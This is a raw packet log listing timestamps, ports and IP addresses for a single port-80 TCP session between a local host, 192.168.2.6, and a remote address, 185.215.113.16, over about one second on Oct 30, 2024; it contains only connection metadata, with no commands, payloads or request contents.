Oct 30, 2024 05:24:22.057862997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057874918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057888031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057904005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057909966 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.057933092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.101861954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.101876974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.101926088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.152489901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.152507067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.152519941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.152575016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.175519943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175580025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.175595999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175611019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175657034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.175718069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175755978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175784111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175798893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.175837040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.175882101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.176011086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.176029921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.176050901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.176063061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.176074982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.176075935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.176093102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.176804066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.176852942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.176856041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.177012920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.177023888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.177036047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.177047014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.177062035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.177098989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.221096992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.221112013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.221123934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.221178055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.262079954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.262093067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.262177944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.294744968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.294774055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.294787884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.294814110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295007944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295047045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295058966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295068979 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295072079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295084953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295104980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295171976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295366049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295380116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295391083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295453072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295718908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295744896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295758009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295768976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295775890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295780897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.295795918 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.295836926 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.296341896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.296355009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.296365976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.296484947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.340399027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.340413094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.340423107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.340434074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.340472937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.340557098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.381557941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.381594896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.381664991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.413863897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.413880110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.413892031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414017916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.414169073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414179087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414235115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414246082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414258957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414269924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414293051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.414340019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.414726019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414738894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414764881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.414773941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.415060997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.415088892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415102005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415113926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415127993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415188074 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.415188074 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.415576935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415594101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415607929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415621042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.415642977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.415796995 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.459753036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.459769011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.459780931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.459791899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.463289022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.500631094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.500647068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.500658989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.500740051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.533087015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533098936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533108950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533178091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.533178091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.533376932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533389091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533401012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533444881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533456087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533466101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.533518076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.533760071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533796072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533807039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.533828020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.533855915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.534115076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534126043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534137011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534183025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.534190893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534200907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534213066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534224987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.534239054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.534374952 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.534976959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.535038948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.578700066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.578712940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.578722954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.578880072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.619986057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.620090961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.620104074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.620114088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.620125055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.620245934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.652760983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.652780056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.652791023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.652960062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.653070927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653151989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653162003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653232098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653244972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653254032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.653337002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.653347969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653359890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653604031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.653774977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653785944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653796911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.653846025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.653846025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.654107094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.654118061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.654129028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.654166937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.654176950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.654189110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.654189110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.654210091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.654320955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.703715086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.703732967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.703751087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.703763008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.703775883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.703811884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.703857899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.739008904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.739031076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.739159107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.771925926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.771938086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.771949053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772162914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.772309065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772319078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772397041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772413969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772424936 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.772427082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772438049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772461891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.772509098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.772845984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772917032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772929907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772941113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772952080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.772964954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.773253918 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.773416996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.773473978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.773494005 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.773498058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.773510933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.773521900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.773541927 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.773631096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.822760105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822788954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822805882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822818041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822879076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822890997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822921038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822922945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.822933912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.822959900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.823168993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.891211033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891222954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891242027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891424894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.891554117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891563892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891661882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891676903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891688108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891691923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.891701937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.891709089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.892127991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892138958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892148972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892155886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.892205000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.892205000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.892442942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892457962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892468929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892517090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892528057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.892541885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.892658949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.892982960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.893018961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.893028975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.893096924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.942157984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942179918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942209959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942222118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942234039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942238092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.942245960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942493916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942526102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.942547083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942559004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942569017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942631960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.942631960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.942931890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.942966938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.943377018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.010487080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010523081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010534048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010646105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.010663986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010704041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010726929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.010790110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010806084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010900974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.010915995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010951042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.010982037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.011051893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011137009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011137962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.011148930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011264086 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.011383057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011416912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011428118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011699915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011710882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011724949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011725903 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.011744976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.011756897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011775970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.011782885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.012243032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.061369896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061465025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061475039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061486006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061499119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061532021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061542988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061543941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.061557055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.061584949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.061825037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.062201977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.062212944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.062223911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.062334061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.106345892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.106358051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.106368065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.106499910 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.129651070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.129661083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.129743099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.129750967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.129751921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.129863024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.129946947 CET	80	49760	185.215.113.16	192.168.2.6
